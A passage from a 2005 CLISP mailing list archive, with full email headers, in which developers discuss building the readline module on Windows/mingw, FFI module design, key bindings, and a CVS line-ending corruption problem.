b=GjI99IhOxg36OHJQbsxvJuR7xB5PD1lranJ8Mcj9Q1r9XYUk7H2zdhnHzfeWCRARs75CDkt3KbJV+QT3tuyCrP22gB0UAP8/EyWFhEPYC8Q57D3/u5qBS6UkoQyq+w75PYHKpyOBKT45Jx78kLeTxFwr+TfXLClpqOc0E+gmib4= Received: by 10.36.2.1 with SMTP id 1mr168703nzb; Mon, 03 Oct 2005 06:06:34 -0700 (PDT) Received: by 10.36.222.6 with HTTP; Mon, 3 Oct 2005 06:06:34 -0700 (PDT) Message-ID: From: Tomas Zellerin Reply-To: Tomas Zellerin To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: readline interface In-Reply-To: <43412101.1000805@jenty.by> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <43412101.1000805@jenty.by> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 3 06:08:33 2005 X-Original-Date: Mon, 3 Oct 2005 15:06:34 +0200 > > if change in makemake.in > if [ "${with_readline}" !=3D ifpossible ]; then > to > if [ "${with_readline}" !=3D yes ]; then > > clisp is build, but without readline. > Originally, I was trying to make the readline interface work not as module, but as a loaded file. I did not succeed in making it work on Windows this way - e.g., readline function was succesfully defined, but it did not work as expected. Are there some fundamental differences between using FFI as a module and as a loaded file? Regards, Tomas From kavenchuk@jenty.by Mon Oct 03 06:08:06 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMQ2x-0003Nt-UW for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 06:07:59 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EMQ2v-00043D-EA for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 06:07:59 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id TPFBTH3L; Mon, 3 Oct 2005 16:08:29 +0300 Message-ID: <43412D6B.4080905@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: readline interface References: <43412101.1000805@jenty.by> In-Reply-To: <43412101.1000805@jenty.by> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 3 06:09:03 2005 X-Original-Date: Mon, 03 Oct 2005 16:08:59 +0300 > ./configure --with-mingw --with-readline \ > --with-module=dirkey --with-module=pcre \ > --with-module=postgresql --with-module=rawsock \ > --with-module=wildcard --with-module=zlib \ > --with-module=bindings/win32 \ > --with-libpcre-prefix=/usr/local \ > --with-libreadline-prefix=/usr/local \ > --with-libpq-prefix=c:/PostgreSQL/8.0 \ > --build build-full > if change in makemake.in > if [ "${with_readline}" != ifpossible ]; then > to > if [ "${with_readline}" != yes ]; then and if delete from unixconf.h this line: /* #undef HAVE_READLINE */ (`grep "#undef HAVE_READLINE" unixconf.h' return it) and if add -lreadline to LIBS $ clisp --version GNU CLISP 2.35 (2005-08-29) (built 3337331883) (memory 3337332520) Software: GNU C 3.4.2 (mingw-special) gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a /usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 Features: (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 WIN32) C Modules: (clisp i18n syscalls regexp readline) Installation directory: C:\gnu\home\src\clisp\clisp\build-full\ User language: ENGLISH Machine: PC/386 (PC/?86) stnt067 [192.168.0.1] but... How it work? -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Mon Oct 03 09:10:06 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMStB-0006Un-SK for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 09:10:05 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EMSsx-0002xY-I1 for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 09:10:02 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j93G9VlO017759; Mon, 3 Oct 2005 12:09:31 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Mon, 3 Oct 2005 15:06:34 +0200") References: <43412101.1000805@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 3 09:11:17 2005 X-Original-Date: Mon, 03 Oct 2005 12:08:28 -0400 > * Tomas Zellerin [2005-10-03 15:06:34 +0200]: > >> >> if change in makemake.in >> if [ "${with_readline}" != ifpossible ]; then >> to >> if [ "${with_readline}" != yes ]; then >> >> clisp is build, but without readline. >> > > Originally, I was trying to make the readline interface work not as > module, but as a loaded file. I did not succeed in making it work on > Windows this way - e.g., readline function was succesfully defined, > but it did not work as expected. > > Are there some fundamental differences between using FFI as a module > and as a loaded file? a module is the way we bundle clisp add-ons for easy distribution. modules may use ffi (bindings/*, wildcard, matlab) or just plain C (syscalls, rawsock, pcre, berkeley-db). those that use ffi may use the traditional CLISP way (generate a C file and link it in), e.g., wildcard, or dlsym-based ffi (e.g., bindings/win32) the problem with dlsym-based ffi is that some systems lack dlsym, so if we make the readline module using dlsym it will not work on some platforms. -- Sam Steingold (http://www.podval.org/~sds) running w2k If brute force does not work, you are not using enough. From sds@gnu.org Mon Oct 03 09:23:12 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMT5s-0007Or-NM for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 09:23:12 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EMT5q-0006AD-77 for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 09:23:12 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j93GMsO6019791; Mon, 3 Oct 2005 12:22:57 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43412D6B.4080905@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 03 Oct 2005 16:08:59 +0300") References: <43412101.1000805@jenty.by> <43412D6B.4080905@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 3 09:24:13 2005 X-Original-Date: Mon, 03 Oct 2005 12:21:51 -0400 > * Yaroslav Kavenchuk [2005-10-03 16:08:59 +0300]: > >> ./configure --with-mingw --with-readline \ >> --with-module=dirkey --with-module=pcre \ >> --with-module=postgresql --with-module=rawsock \ >> --with-module=wildcard --with-module=zlib \ >> --with-module=bindings/win32 \ >> --with-libpcre-prefix=/usr/local \ >> --with-libreadline-prefix=/usr/local \ >> --with-libpq-prefix=c:/PostgreSQL/8.0 \ >> --build build-full > >> if change in makemake.in >> if [ "${with_readline}" != ifpossible ]; then >> to >> if [ "${with_readline}" != yes ]; then > > and if delete from unixconf.h this line: > /* #undef HAVE_READLINE */ > (`grep "#undef HAVE_READLINE" unixconf.h' return it) > and if add -lreadline to LIBS configure should detect readline and add "#define HAVE_READLINE" to unixconf and -lreadline to LIBS. to do so it must find tgetent(). please install ncurses in addition to readline. -- Sam Steingold (http://www.podval.org/~sds) running w2k When we break the law, they fine us, when we comply, they tax us. From sds@gnu.org Mon Oct 03 09:50:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMTW9-0000bx-Ak for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 09:50:21 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EMTW8-00044K-M9 for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 09:50:21 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j93Go5ec023838; Mon, 3 Oct 2005 12:50:05 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Mon, 3 Oct 2005 08:30:26 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 3 09:51:16 2005 X-Original-Date: Mon, 03 Oct 2005 12:49:02 -0400 > * Tomas Zellerin [2005-10-03 08:30:26 +0200]: > >> >> >> >> does my module work for you? >> > >> > Mostly, but not here. Try add-defun something, and then either list >> > all known functions, or try to get the function using named-function. >> >> how do I list all known functions? > I do it by binding dump-functions to a key in inputrc and pressing the key. > "\ea": dump-functions cool! how do I bind F1? "\e[11~" (suggested in the manual) does not work. (I use cygwin/bash) >> > The former case is probably more instructive, as you can see that >> > there is new function with name containing strange characters - new >> > content of given place on stack, I guess. >> >> I guess :alloc :malloc-free is needed. >> > Yes, I did it that way and it worked. You will get a leak every time > you change binding to same string, but why someone should do it? this should be reflected in the (:documentation "string") of the call out. >> well, if we are at it, why not do everything? > There are reasons I see not to include everything : > - unused functions will not be tested and could cause crashes untested functions should be marked as such with a comment, e.g.: (def-call-out foo (:name "bar") ; untested ....) > - unused functions are not needed (there is lot of duplication through > the interface) :-) these are the famous last words: "I don't need it, so nobody does". let us not fall into this trap. people _will_ complain - just like you did. > - someone would have to write it, and I dont understand what some > functions do, in particular how completion works. > Of course, all can be disagreed (you wont get testing unless you include it). > > A style question - why are defined variables not starred? good question. we do not star foreign variables, see grep -r -i def-c-var modules/ I don't know why, it's just they way it always has been. >> Alas, the patch was corrupt (lines wrapped &c) >> the best way would be to open a "patch" tracker issue on SF. >> thanks. > It is there. thanks. so now you can update the patch! -- Sam Steingold (http://www.podval.org/~sds) running w2k We are born naked, wet, and hungry. Then things get worse. From parsons@sci.brooklyn.cuny.edu Mon Oct 03 20:47:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMdmN-0003yx-IQ for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 20:47:47 -0700 Received: from mail.sci.brooklyn.cuny.edu ([146.245.250.130]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EMdmL-00051j-Ue for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 20:47:47 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.sci.brooklyn.cuny.edu (8.13.1/8.13.1) with ESMTP id j943lSPc031472 for ; Mon, 3 Oct 2005 23:47:28 -0400 Received: from mail.sci.brooklyn.cuny.edu ([127.0.0.1]) by localhost (mail [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 31137-04 for ; Mon, 3 Oct 2005 23:47:26 -0400 (EDT) Received: from smiley.sci.brooklyn.cuny.edu (smiley.sci.brooklyn.cuny.edu [146.245.249.20]) by mail.sci.brooklyn.cuny.edu (8.13.1/8.13.1) with ESMTP id j943lP7C031467 for ; Mon, 3 Oct 2005 23:47:25 -0400 From: Simon Parsons To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: amavisd-new at sci.brooklyn.cuny.edu X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLISP on Yellow Dog Linux Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 3 20:50:35 2005 X-Original-Date: Mon, 3 Oct 2005 23:47:25 -0400 (EDT) Sorry to take so long to reply. > please post a URL to your distribution and I will place it in the CLISP > SF files area (with a proper credit). I just moved it to: http://www.sci.brooklyn.cuny.edu/~parsons/downloads/clisp-2.35-ppc-ppc-linux-2.6.10-1.ydl.1.tar.gz It will get overwritten when I update the site (probably not for a week or so); if it isn't there when you look for it, let me know and I'll repost. > BTW, did you install libsigsegv? Nope. Frankly I wasn't sure how/what to do and was in too much of a hurry to get something I could use. When I get a few minutes spare I'll install and rebuild. Also happy to build future releases if that is useful; let me know. > that's what I usually do - except that I would add > --with-module=bindings/linux > (and maybe zlib and pcre if you have them installed...) Okay, I can give that a go (after I do the libsigsegv install). S. +--------------------------------------------------------------------+ | Simon Parsons \/\/ | | Department of Computer and Information Science /\/\ | | Brooklyn College \/\/ | | City University of New York /\/\ | | 2900 Bedford Avenue tel: +1 718 951 2059 | | Brooklyn, NY 11210 fax: +1 718 951 4842 | | USA http://www.sci.brooklyn.cuny.edu/~parsons | +--------------------------------------------------------------------+ From zellerin@gmail.com Mon Oct 03 23:36:14 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMgPN-0003C2-VO for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 23:36:13 -0700 Received: from zproxy.gmail.com ([64.233.162.206]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EMgPN-0004Eq-QS for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 23:36:14 -0700 Received: by zproxy.gmail.com with SMTP id i11so369477nzh for ; Mon, 03 Oct 2005 23:36:08 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=mZeTSem1Notz5gJE7XNZeViWugLCrNU1QzWV/IWsOh08k5EgQLhSbxbpts3b9Zb8ci/LUOTtFTWV29VrKCXCfl01qVVH/4YNSPOjjl6iihhgHpq+EMaC8XxxSXYZnPyLXr7hwQfiR3Puxdf2La1kbdWRk/xGxZIbJ1CWqBpXo+o= Received: by 10.36.55.3 with SMTP id d3mr37432nza; Mon, 03 Oct 2005 23:36:08 -0700 (PDT) Received: by 10.36.222.6 with HTTP; Mon, 3 Oct 2005 23:36:07 -0700 (PDT) Message-ID: From: Tomas Zellerin Reply-To: Tomas Zellerin To: clisp-list@lists.sourceforge.net, Tomas Zellerin In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 3 23:36:56 2005 X-Original-Date: Tue, 4 Oct 2005 08:36:07 +0200 > >> how do I list all known functions? > > I do it by binding dump-functions to a key in inputrc and pressing the = key. > > "\ea": dump-functions > > cool! > how do I bind F1? > "\e[11~" (suggested in the manual) does not work. > (I use cygwin/bash) > On unixes, type ^v (or whatever is either bound to quoted-insert and/or set up with stty) and press the key to see generated codes. ^] is \e. Dont know if it works on Cygwin - I can imagine OS below catching the key before it arrives \to bash. You can also do (funcall (readline:named-function "dump-functions") 0 0). > > Yes, I did it that way and it worked. You will get a leak every time > > you change binding to same string, but why someone should do it? > > this should be reflected in the (:documentation "string") of the call out= . Speaking about documentation string, I see there are hardly any in the modules. Is this by design, or just nobody did it? :) > > >> well, if we are at it, why not do everything? > > There are reasons I see not to include everything : > > - unused functions will not be tested and could cause crashes > > untested functions should be marked as such with a comment, e.g.: > (def-call-out foo (:name "bar") ; untested In comment or in :documentation? > ....) > > > - unused functions are not needed (there is lot of duplication through > > the interface) > > :-) > these are the famous last words: "I don't need it, so nobody does". > let us not fall into this trap. > people _will_ complain - just like you did. Certainly. :) I just though of having two different functions, one with additional argument and the other with same argument defaulted, a bit... unlispy. > > thanks. > so now you can update the patch! :) I knew it would end this way. I can and will, but it may take some time. What is the situation with automatic generators of lisp def-call-outs from .h file? I heard of some, but never did any make work. One more note - readline-name does not work (crashes when set) as :malloc-free neither. I guess clisp tries to free old value. Tomas From marko.kocic@gmail.com Tue Oct 04 00:47:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMhVx-0006R8-II for clisp-list@lists.sourceforge.net; Tue, 04 Oct 2005 00:47:05 -0700 Received: from zproxy.gmail.com ([64.233.162.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EMhVx-0005vq-GN for clisp-list@lists.sourceforge.net; Tue, 04 Oct 2005 00:47:05 -0700 Received: by zproxy.gmail.com with SMTP id 14so403593nzn for ; Tue, 04 Oct 2005 00:46:59 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=CcIgLzcKVx/lejfIyL5CIkK93XNDZ4PpNOiCMJsfZxvN05rGCLEVR25Bwi5C9MchTZIx9XirfojCzszp/QhWPSRw9FhnvjqlOTsp9r50AKNQjLFtg1r8CL8Nf1QTwPIIjkBws3S4a5elp4vgeiyL+p2qBKqpZLFcQK2Ec+4Jk3M= Received: by 10.36.108.12 with SMTP id g12mr43301nzc; Tue, 04 Oct 2005 00:46:59 -0700 (PDT) Received: by 10.36.221.80 with HTTP; Tue, 4 Oct 2005 00:46:59 -0700 (PDT) Message-ID: <9238e8de0510040046r2ab4886ah@mail.gmail.com> From: Marko Kocic Reply-To: Marko Kocic To: clisp-list@lists.sourceforge.net, Marko Kocic In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <9238e8de05091407371f516243@mail.gmail.com> <9238e8de050914090152b5fece@mail.gmail.com> <9238e8de050915010637cfff7@mail.gmail.com> <9238e8de05091508376777f8d4@mail.gmail.com> <9238e8de0509300629k34e0e8d4w@mail.gmail.com> X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Windows compilation error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 4 00:48:22 2005 X-Original-Date: Tue, 4 Oct 2005 09:46:59 +0200 Hi Sam, I finally had some time again to try to compile it again. I deleted all clisp files from local disk and fetched them again from CVS. Indeed rawsock.c is corrupt, but not on client side. When I open it with hex editor, it has "0D 0D 0A" character sequence as line end / new line instead of DOS/Win standard "0D 0A". Since that someone uploaded DOS version of file from linux host so that CVS itself added one extra 0D for line ends. Could someone with checkin rights please fix this. When I fixed file manually by removing extra "0D" from all lines in file, it compiles again. PS: I couldn't post a file as attachment to this group. Thanks, Marko > please make sure that your sources are not corrupt. > specifically, the like above should terminate with a backslash. > From kavenchuk@jenty.by Tue Oct 04 03:11:31 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMjlJ-0004xJ-JF for clisp-list@lists.sourceforge.net; Tue, 04 Oct 2005 03:11:05 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EMjl0-0001V8-01 for clisp-list@lists.sourceforge.net; Tue, 04 Oct 2005 03:11:05 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id TPFBTK2S; Tue, 4 Oct 2005 13:11:35 +0300 Message-ID: <43425574.7050405@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 4 03:13:39 2005 X-Original-Date: Tue, 04 Oct 2005 13:12:04 +0300 Sam Steingold wrote: > configure should detect readline and add "#define HAVE_READLINE" to > unixconf and -lreadline to LIBS. > to do so it must find tgetent(). > please install ncurses in addition to readline. > I do not find tgetent() in ncurses (pdcurses) under mingw, but I find tgetent() in termcap from msys packages (in CVS). config.log: configure:24793: gcc -mno-cygwin -o conftest.exe -g -O2 -I/usr/local/include conftest.c -ltermcap >&5 C:\gnu\bin\..\lib\gcc\mingw32\3.4.2\..\..\..\..\mingw32\bin\ld.exe: cannot find -ltermcap but with -L/usr/local/lib test is Ok. Thanks. -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Tue Oct 04 05:22:08 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMlng-00042R-OO for clisp-list@lists.sourceforge.net; Tue, 04 Oct 2005 05:21:40 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EMlng-0004wq-4H for clisp-list@lists.sourceforge.net; Tue, 04 Oct 2005 05:21:40 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id TPFBTK4H; Tue, 4 Oct 2005 15:22:04 +0300 Message-ID: <43427409.70104@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] POSIX:SET-FILE-STAT and FILE-WRITE-DATE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 4 05:23:26 2005 X-Original-Date: Tue, 04 Oct 2005 15:22:33 +0300 cLisp from CVS head, mingw, win2k 